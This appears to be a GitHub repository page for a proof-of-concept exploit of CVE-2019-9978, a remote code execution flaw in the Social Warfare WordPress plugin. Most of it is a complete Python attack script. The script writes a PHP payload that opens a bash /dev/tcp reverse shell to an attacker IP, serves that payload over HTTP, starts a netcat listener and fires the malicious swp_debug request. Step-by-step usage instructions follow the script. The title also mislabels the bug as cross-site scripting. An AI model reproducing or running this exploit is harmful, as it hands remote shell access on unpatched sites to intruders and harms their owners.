CVE-2019-9978 PoC — WordPress social-warfare插件跨站脚本漏洞

Description

The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.

Readme

# CVE-2019-9978 - Social Warfare WordPress Plugin RCE

This repository contains a working Python exploit for [CVE-2019-9978](https://nvd.nist.gov/vuln/detail/CVE-2019-9978), a remote code execution vulnerability in the Social Warfare plugin for WordPress (version <= 3.5.2).

## Description

The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.

## Exploit Features

- Hosts a PHP payload using Python's built-in HTTP server.
- Sends a malicious `swp_url` parameter to trigger RCE.
- Starts a Netcat listener to catch the reverse shell.
- Automatically writes the payload with the correct escaping for successful code execution.

## Requirements

- Python 3.x
- Netcat
- Local DNS resolution for the target domain (e.g. `example.com` mapped to target IP)

## Exploit Code

```python
#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")
```

## Usage

1. Update `ATTACKER_IP` and `LISTEN_PORT` to your machine’s IP and desired port.
2. Ensure the target resolves `example.com` to the correct IP.
3. Run the script:

```bash
python3 exploit.py
```

4. Catch the reverse shell in your listener.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2019-9978
- https://github.com/hash3liZer/CVE-2019-9978

## Disclaimer

This exploit is provided for **educational purposes only**. Do not use it without explicit permission on any system you do not own.

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